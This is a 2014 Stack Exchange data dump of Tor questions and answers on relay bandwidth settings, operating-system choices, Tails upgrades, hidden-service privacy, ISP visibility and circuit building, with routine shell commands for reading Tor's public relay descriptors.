  <row Id="3730" PostTypeId="1" CreationDate="2014-08-02T11:16:29.513" Score="3" ViewCount="2442" Body="&lt;p&gt;I'm a rookie Tor relay operator but would like to give back to the community. According to the data in the arm-software (&lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/arm.html.en&lt;/a&gt;) my Tor settings - the torrc-file - seems to be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the following settings to the top of my file (&lt;em&gt;update 05-aug-2014: please see image at bottom for current torrc&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname myNick&#xA;ContactInfo myMail&#xA;ORPort 443&#xA;DirPort 80&#xA;ExitPolicy reject *:*&#xA;Log notice file /var/log/tor/notices.log&#xA;&#xA;RelayBandwidthRate 500 KB&#xA;RelayBandwidthBurst 2 MB&#xA;&#xA;ControlPort 6051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the bandwidth rate set to 500 kb/s (I suppose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the arm tool, however, this is what I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxvN9.png&quot; alt=&quot;Tor Relay Arm Snapshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the measured speeds. The average speeds are way above the speeds I set in the torrc-file, and sometimes I've seen the burst rate exceed 3 mb/s. It is a requirement that the maximum average speed in kb/s is fixed at 500, and that it's working, else I will eventually run dry of bandwidth from my ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea of what went wrong and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Another fun observation is the highlighted (grey) text in the screenshot: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bandwidth (limit: 3.9 Mb/s, burst: 16.0 Mb/s, measured: 3.0 Kb/s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where does this information come from? I'm not even able to neither download nor upload with 16 Mb/s. I have a measured speed of 111.6/22.5 kbit/s.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the logs in the following screenshot, tor only uses a few hundre kb/s of bandwidth, yet the arm tool reports an average bandwidth of 1 mb/s. This 1 mb/s doesn't add up to the total amount of data send/recieved, though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9COL.png&quot; alt=&quot;Updated screenshot showing strange differences in average speeds&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As per request, here is the torrc as seen from within arm (&lt;em&gt;Note:&lt;/em&gt; &lt;code&gt;KBytes&lt;/code&gt; and &lt;code&gt;MBytes&lt;/code&gt; are used in actual file):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcuBD.png&quot; alt=&quot;torrc as seen from within arm&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick look at the current speeds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTC11.png&quot; alt=&quot;Current speeds&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I left it like that it continued to up- and download with 2 mb/s (it is allowed to burst like that) - the top of the graph shown in this image peaked at about 4.5 mb/s. The average speed is still 3 times higher than permitted, however. Maybe the aim of the average speed is per week or even per month based? &lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2014-08-05T15:56:29.243" LastActivityDate="2014-08-05T23:16:23.263" Title="Tor relay (arm monitor) doesn't seem to follow Tor settings (torrc)" Tags="|relays|configuration|raspberry-pi|nyx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3732" PostTypeId="2" ParentId="3717" CreationDate="2014-08-02T17:22:14.853" Score="0" Body="&lt;p&gt;There's no general &quot;best&quot; way. What's best depends on your threat model. But yes, using Windows is arguably never good, given its anti-security design and closed source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you know Tor etc very well, it's also never good to use standalone Tor. There are too many ways to leak stuff (not going through Tor) that break your anonymity. Leaking DNS lookups is a typical fail. If you're going that route, you need to understand how to translate network requests from various apps to interfaces that the Tor client provides. You also need to know how to block leaks, and how to test for leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to run Tor safely is the Tor browser. But be aware that it's not set up for other apps, and that there are no firewall rules to block leaks. There's also the risk of sharing a machine/OS with non-Tor activity. You might download something evil through Tor, and it might later ping the FBI with your MAC and IP address ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next level might be booting Tails, or running the Whonix VMs in VirtualBox. They both work well, but their main goals are different. The focus for Tails is leaving no traces behind after use. It's possible to save stuff on an encrypted USB flash drive. The focus for Whonix is preventing leaks, using stream isolation for stronger anonymity, and resisting exploits by isolating the workspace from the Tor process and its networking configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally it's impossible to avoid activity traces, or at least to be confident that you've prevented and/or removed them. That's especially so when you're using Whonix rather than Tails, because VirtualBox writes logs. And so it's good to put all of your privacy/anonymity stuff on a separate computer, and to use full-disk encryption to protect the information from snooping.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-02T17:22:14.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3733" PostTypeId="1" CreationDate="2014-08-02T18:01:01.737" Score="2" ViewCount="156" Body="&lt;p&gt;I would like to contribute to the Tor Project and set up a non-exit relay. But there are some problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Even if self-testing indicates my &lt;code&gt;ORPort&lt;/code&gt; and &lt;code&gt;DirPort&lt;/code&gt; are reachable from the outside, it doesn't receive anything at all. Well, it receives ~ 10KBs per minute, or only a few MBs per day!&lt;/li&gt;&#xA;&lt;li&gt;Average speed is ~ 3 KB/s, even if I set average bandwidth rate ~ 5 MB/s!&lt;/li&gt;&#xA;&lt;li&gt;My relay isn't displayed in the Tor Network Map.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All these old problems are here since April, and as I didn't found a solution, I stopped running the relay. But a few days ago I decided to try again, and here's new problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The directory server rejects my relay descriptor with message:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Warning] http status 400 (&quot;Fingerprint is marked rejected&quot;) response from dirserver 'xxx.xxx.xxx.xxx:xxx'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As Google says, that's because of old version of OpenSSL, but the problem is that I have never installed OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I hope you know how to help me. I've been searching for the solution over the Internet and asked questions  on some forums, but nobody answered. &lt;/p&gt;&#xA;" OwnerUserId="3327" LastEditorUserId="88" LastEditDate="2015-08-18T23:03:51.660" LastActivityDate="2015-08-18T23:03:51.660" Title="Problems with setting up a non-exit relay" Tags="|relays|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostTypeId="1" CreationDate="2014-08-02T18:54:08.670" Score="1" ViewCount="1095" Body="&lt;p&gt;I would like to know if someone gets more privacy if connects to Tor using Tails but, connects to other wifi (example: neighbour wifi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: Tails --&gt; password discovered wifi --&gt; Tor --&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is, if your VPN or Tor gets exposed, who is behind it? Because I suppose that what the attacker will see is the IP of not your wifi, but the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3328" LastEditorUserId="923" LastEditDate="2014-08-02T19:15:23.327" LastActivityDate="2014-08-29T18:48:04.320" Title="Running Tor on strange Wifi" Tags="|tails|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostTypeId="1" CreationDate="2014-08-02T22:55:08.813" Score="7" ViewCount="1552" Body="&lt;p&gt;If I want to configure a Hidden Service but only for personal use and didn't give out its hostname/.onion address to anyone. Can its address still be crawled/known to any third party?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: If no one has a Hidden Service address, then no one will be able to find it and so I don't need to worry about configuring as if its a publicly accessible service?&lt;/p&gt;&#xA;" OwnerUserId="3330" LastActivityDate="2014-08-05T09:15:49.657" Title="Are Tor Hidden Service Addresses private by default?" Tags="|onion-services|protocol|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostTypeId="2" ParentId="3736" CreationDate="2014-08-03T00:05:02.257" Score="1" Body="&lt;p&gt;No, it's not private. Hidden services publish contact information (descriptor) to hidden service directories. One of them might be evil, and use the data in a search engine. Also, methods for identifying hidden services have been published, and vulnerabilities have been patched.&lt;sup&gt;1,2&lt;/sup&gt; But maybe others haven't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ieee-security.org/TC/SP2013/papers/4977a080.pdf%3E&quot; rel=&quot;nofollow&quot;&gt;1. Biryukov et al. (2013) Trawling for Tor Hidden Services: Detection, Measurement, Deanonymization&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.robgjansen.com/publications/sniper-ndss2014.pdf%3E&quot; rel=&quot;nofollow&quot;&gt;2. Jansen et al. 2014 The Sniper Attack: Anonymously Deanonymizing and Disabling the Tor Network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-03T00:05:02.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3738" PostTypeId="1" CreationDate="2014-08-03T04:29:29.507" Score="1" ViewCount="391" Body="&lt;p&gt;Can our Internet service provider know our browsing history?&#xA;Does the server know what sites we are browsing?&lt;/p&gt;&#xA;" OwnerUserId="3333" LastEditorUserId="923" LastEditDate="2014-08-03T04:41:32.020" LastActivityDate="2014-08-03T19:21:51.810" Title="Can our ISP view our Browsing history?" Tags="|censorship|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostTypeId="1" CreationDate="2014-08-03T05:08:26.033" Score="1" ViewCount="1820" Body="&lt;p&gt;When I select a certain webpage on Chrome, there is a single button that when pressed, pops up a window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try the same on Tor, no window is popped up at all. Also, the button become unresponsive after my first press.&lt;/p&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="923" LastEditDate="2014-08-03T05:19:54.263" LastActivityDate="2014-08-03T05:19:54.263" Title="How do I enable a popup window?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3740" PostTypeId="2" ParentId="3738" CreationDate="2014-08-03T05:15:39.307" Score="1" Body="&lt;p&gt;By default, your Internet service provider (ISP) is capable and willing to record your browsing history. Sometimes it's even obligated, under local/federal regulations, to do so. However, you may have some options to limit that. Some of these options are: Tor, Tor browser, Tails, JAP/JonDo, virtual private network (VPN), and web proxy services. Each of these services limit the information that your ISP can record. If you have no other concern than your ISP recording your activity, you maybe able to use any of them to limit the amount information recorded by your ISP about your browsing activity. If you have additional concerns beside and beyond your ISP, then you need to list your options. One by one, compare what each service can provide to you, and under what circumstances. If you have additional concerns, please state them, and I will edit the answer to address your concerns. Happy surfing.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="100" LastEditDate="2014-08-03T19:21:51.810" LastActivityDate="2014-08-03T19:21:51.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostTypeId="1" CreationDate="2014-08-03T22:22:58.183" Score="2" ViewCount="449" Body="&lt;p&gt;I have the previous version of Tails and have been trying to upgrade to Tails 1.1 Nothing I've tried so far works. I'm not savvy with CMD terminals so go easy on me. I tried using Tails installer to clone and upgrade to a different flash drive, but once the cloning and upgrading are complete, my computer won't boot from the new flash. I tried downloading Tails 1.1 from pirates bay and signature doesn't match. please help.&lt;/p&gt;&#xA;" OwnerUserId="3340" LastEditorUserId="88" LastEditDate="2014-08-04T08:07:32.607" LastActivityDate="2014-08-05T09:07:56.607" Title="Help with upgrading to Tails 1.1" Tags="|tails|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3743" PostTypeId="2" ParentId="3717" CreationDate="2014-08-04T08:18:02.733" Score="2" Body="&lt;p&gt;Following please find my analysis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have Tor on board ( Unix / Linux ), you could easily extract following information :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors | grep -i ^finger | sort -u | wc&#xA;   7184   79024  445408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7184 uniq descriptors for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors | grep ^platform | sort -u | wc&#xA;    138     800    5376&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;138 different platform, it is what you are asking.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors | grep ^platform | sort | uniq -c | sort -h -t 1&#xA;...&#xA;    121 platform Tor 0.2.4.22 on FreeBSD&#xA;    131 platform Tor 0.2.4.19 on Windows 7&#xA;    145 platform Tor 0.2.4.23 on Windows 8&#xA;    159 platform Tor 0.2.4.21 on FreeBSD&#xA;    167 platform Tor 0.2.4.22 on Windows 7 [server]&#xA;    170 platform Tor 0.2.4.21 on Windows 8&#xA;    180 platform Tor 0.2.4.22 on Windows XP&#xA;    196 platform Tor 0.2.3.25 on Windows 8&#xA;    259 platform Tor 0.2.4.20 on Windows 7&#xA;    395 platform Tor 0.2.5.5-alpha on Linux&#xA;    396 platform Tor 0.2.4.23 on Windows 7&#xA;    409 platform Tor 0.2.5.6-alpha on Linux&#xA;    427 platform Tor 0.2.4.21 on Windows 7&#xA;    537 platform Tor 0.2.4.22 on Windows 8&#xA;    864 platform Tor 0.2.3.25 on Windows 7&#xA;   1094 platform Tor 0.2.4.21 on Linux&#xA;   1146 platform Tor 0.2.4.20 on Linux&#xA;   1465 platform Tor 0.2.4.22 on Windows 7&#xA;   2143 platform Tor 0.2.3.25 on Linux&#xA;   4857 platform Tor 0.2.4.23 on Linux&#xA;   6443 platform Tor 0.2.4.22 on Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can see &lt;code&gt;6443 platform Tor 0.2.4.22 on Linux&lt;/code&gt; &amp;lt;-- most popular configuration today. More than 80% - is Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, there is some level of error in this computation, because grepping is not done by unique fingerprint. You may browse this information on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one hand, being a sheep in the herd probably not a great idea. The best option is to use the OS that you know better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you encounter any problem you could resolve it much faster with most popular configuration.&lt;/p&gt;&#xA;" OwnerUserId="3307" LastEditorUserId="923" LastEditDate="2014-08-04T16:40:28.913" LastActivityDate="2014-08-04T16:40:28.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostTypeId="2" ParentId="3701" CreationDate="2014-08-04T08:25:43.840" Score="1" Body="&lt;p&gt;Is it helpful and useful information about p2p Tor Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors | grep -i ^finger  | sort -u | wc&#xA;   7184   79024  445408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7184 descriptors for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each descriptor contain full information about relay, IP Address, fingerprint of public key, platform, everything what you are need to connect to the Tor network through this relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@downloaded-at 2014-07-29 19:02:18&#xA;@source &quot;76.73.17.194&quot;&#xA;router Survivor2007 89.169.165.233 8443 0 853&#xA;platform Tor 0.2.4.21 on Linux&#xA;protocols Link 1 2 Circuit 1&#xA;published 2014-07-29 17:23:46&#xA;fingerprint 2B49 996F 18E6 B9CB 08A7 BBDF B28F 9891 72F9 1BA7&#xA;uptime 2107519&#xA;bandwidth 3072000 3584000 1297084&#xA;extra-info-digest F2BCBC3D5C858CE64A1CE84FDB544A3349BB901F&#xA;onion-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;MIGJAoGBAMh/jMVXHP+NScqErH/v2VmFrIzfsNr5PG91hvWngwJkFEVG/870zkof&#xA;3YDJhpV4oo4ku1rKc2DlaQRCJCEDLSJIF3Ie3IVks9BW1YHmOlkyWrLmqvDMTNUt&#xA;BXTIsQJiSdHM2GQtUSOlijaXWh05Ax+zD6HnfNlEq84+OzTsLs+3AgMBAAE=&#xA;-----END RSA PUBLIC KEY-----&#xA;signing-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;MIGJAoGBALYVg7wnmrkSxoZ/xQB1thhu354sCw0u91KHKvXCy12N1iCvNi+VY2eA&#xA;3UzUB1wHbzyU4/6IAA8TWx0vCQrRbkSB7dr1v/64HqFIajFiIJYMvld8TzpSa/6J&#xA;h99irINd0uYUyHXfDosVFKcKYOcf6MVmZRuwEkI5U6pUTW7hCaP1AgMBAAE=&#xA;-----END RSA PUBLIC KEY-----&#xA;hidden-service-dir&#xA;contact Survivor2007 &amp;lt;survivor2007@gmail.com&amp;gt;&#xA;ntor-onion-key FyW6tx+T3r5+U4VUo98Cq4hzPAC7riEOqXPc8dFTm04=&#xA;reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a relay, not an exit, because &lt;code&gt;reject *:*&lt;/code&gt;. Contact of relay owner: &lt;code&gt;Survivor2007 &amp;lt;survivor2007@gmail.com&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;uptime 2107519&lt;/code&gt; - which is 24 days, 9:25:19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;platform Tor 0.2.4.21 on Linux&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See another my answer: &lt;a href=&quot;https://tor.stackexchange.com/questions/3717/what-is-the-best-way-to-run-tor-operating-systems/3743#3743&quot;&gt;What is the best Way To Run Tor (Operating Systems)?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-04T08:25:43.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3746" PostTypeId="2" ParentId="3742" CreationDate="2014-08-04T08:33:11.793" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://tails.boum.org/news/version_1.1/&quot; rel=&quot;nofollow&quot;&gt;release notes from Tails 1.1&lt;/a&gt; have a section on &lt;a href=&quot;https://tails.boum.org/news/version_1.1/index.en.html#index5h1&quot; rel=&quot;nofollow&quot;&gt;upgrading&lt;/a&gt;. I try to describe the process below. If there are questions left please have a look at the original document or add them as comment.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start your CD/DVD or USB stick.&lt;/li&gt;&#xA;&lt;li&gt;Set a password for administration. When you start Tails you'll see the &lt;em&gt;Welcome to Tails&lt;/em&gt; window. In this case you want &lt;em&gt;more options&lt;/em&gt;, so click &lt;code&gt;Yes&lt;/code&gt;. Now you'll see a section called &lt;em&gt;Administration password&lt;/em&gt;. Enter your password into the two boxes.&lt;br /&gt;&#xA;Another way to set the password is to use the shell. Open a root shell ( Applications &gt; Accessories &gt; Root Terminal) and enter &lt;code&gt;sudo -i&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Within the root terminal you enter the following commands:&lt;br /&gt;&#xA;&lt;code&gt;echo &quot;deb http://deb.tails.boum.org/ 1.1 main&quot; &amp;gt; /etc/apt/sources.list.d/tails-upgrade.list&lt;/code&gt; -- This writes the line starting with &lt;code&gt;deb&lt;/code&gt; into the file &lt;code&gt;/etc/apt/sources.list.d/tails-upgrade.list&lt;/code&gt;. You can also open an editor and insert the string &lt;code&gt;deb http://deb.tails.boum.org/ 1.1 main&lt;/code&gt; into the file. The next steps updates the package archives and installs the package &lt;code&gt;liveusb-creator&lt;/code&gt;. Just enter this line into the root terminal:&lt;br /&gt;&#xA;&lt;code&gt;apt-get update &amp;amp;&amp;amp; apt-get install liveusb-creator&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;When the above is finished start the &lt;em&gt;Tails Installer&lt;/em&gt; (Applications &gt; Tails &gt; Tails Installer) and select &lt;em&gt;Upgrade from ISO&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Insert the device you want to upgrade and choose the device from &lt;em&gt;Target Device&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Choose the ISO after clicking Browse and select &lt;code&gt;Yes&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Finish.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-08-04T08:33:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostTypeId="2" ParentId="3717" CreationDate="2014-08-04T15:08:01.093" Score="1" Body="&lt;p&gt;That's a good question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've an idea about running Tor in another environment too, but it is not realized at this time. In this case I've configured and personalized operating system that is installed on a virtual hard drive that is created on a host machine, including a software for possibility to run another operating system in this environment. Then using host machine I've created a copy of installed system on virtual drive and placed her into directory on this virtual drive for possibility to chroot into it and keep packages of this system up to date. Now I'm thinking about how to make a live ISO image from this copy of system and store it on a physical drive in one partition with my virtual drive. Benefit of this is that you can boot from host machine with grub loader using ISO image to work into live system and when it is needed to build a new live image stored on a physical drive when running from live system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my English but I think this can help you to think about something new. Best regards!&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="923" LastEditDate="2014-08-04T16:56:23.683" LastActivityDate="2014-08-04T16:56:23.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostTypeId="2" ParentId="3648" CreationDate="2014-08-04T17:44:03.090" Score="1" Body="&lt;p&gt;&lt;strong&gt;Answer to question 1 -- part 2&lt;/strong&gt; (but NOT question 2):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, I finally found the ultimate tool for analyzing the tor circuit--&lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;arm&lt;/a&gt;. I'm really surprised and disappointed that no one here pointed to this useful tool. It would have saved a lot of time on my part and &lt;strong&gt;mirimir&lt;/strong&gt;'s. This tool shows exactly what I wanted to know. Tor actually creates multiple circuits and distributes the bandwidth among them. I always thought it only created one circuit at a time. How come no one pointed this out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wget&lt;/code&gt; is using one of 4 circuits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ torify wget -qO- http://ipecho.net/plain ; echo &#xA;93.184.66.227&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cMq1t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cMq1t.jpg&quot; alt=&quot;wget&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The torified browser is  using another:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s24.postimg.org/tlmdc7qhx/Screen_Shot_2014_08_04_at_8_56_00_AM.png&quot; alt=&quot;browser&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h074C.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h074C.jpg&quot; alt=&quot;browser arm&quot;&gt;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that only these 2 circuits get reported to the tor log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;mirimir&lt;/strong&gt;'s guess was right though, unfortunately, he provided no evidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon examining in detail the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Path Specification&lt;/a&gt; document, I found the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building circuits&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clients build circuits preemptively&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When running as a client, Tor tries to maintain at least a certain number of clean circuits, so that new streams can be handled quickly&lt;/li&gt;&#xA;&lt;li&gt;On startup Tor tries to maintain one clean fast exit circuit that allows connections to port 80, and at least two fast clean stable internal circuits in case we get a resolve request or hidden service request&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After that, Tor will adapt the circuits that it preemptively builds based on the requests it sees from the user: it tries to have two fast clean exit circuits available for every port seen within the past hour&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Path selection and constraints&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We choose the path for each new circuit before we build it&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We choose the exit node first, followed by the other nodes in the circuit&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;If we're using Guard nodes, the first node must be a Guard&lt;/li&gt;&#xA;&lt;li&gt;For &quot;fast&quot; circuits, we only choose nodes with the Fast flag&lt;/li&gt;&#xA;&lt;li&gt;For all circuits, we weight node selection according to router bandwidth&lt;/li&gt;&#xA;&lt;li&gt;We also weight the bandwidth of Exit and Guard flagged nodes depending on the fraction of total bandwidth that they make up and depending upon the position they are being selected for&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So that explains the multiple circuits and that, therefore, &lt;code&gt;wget&lt;/code&gt; is being routed to a &lt;strong&gt;different circuit&lt;/strong&gt; than the one the browser gets routed to, and not to the first node in a single circuit like I surmised. But it doesn't explain why. Speculation--maybe it has to do with bandwidth load balancing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, &lt;strong&gt;question 2&lt;/strong&gt; remains open:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I get the EXIT node from bash?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By exit node, I mean the one that the browser sees.&lt;/p&gt;&#xA;" OwnerUserId="3267" LastEditorUserId="14997" LastEditDate="2019-02-21T22:34:23.530" LastActivityDate="2019-02-21T22:34:23.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3752" PostTypeId="1" CreationDate="2014-08-04T18:18:09.913" Score="1" ViewCount="95" Body="&lt;p&gt;Consider an app that has options for using either a SOCKS5 proxy or a web proxy. Is it more secure to specify a Tor SocksPort, or to install a web proxy, such as Polipo, and to specify the web proxy port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, which web proxy does the Tor Project currently recommend?&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-05T23:21:23.413" Title="For a given app, is using a SocksPort more secure than using a web proxy such as Polipo?" Tags="|security|socks|proxy-leaks|polipo|web-proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
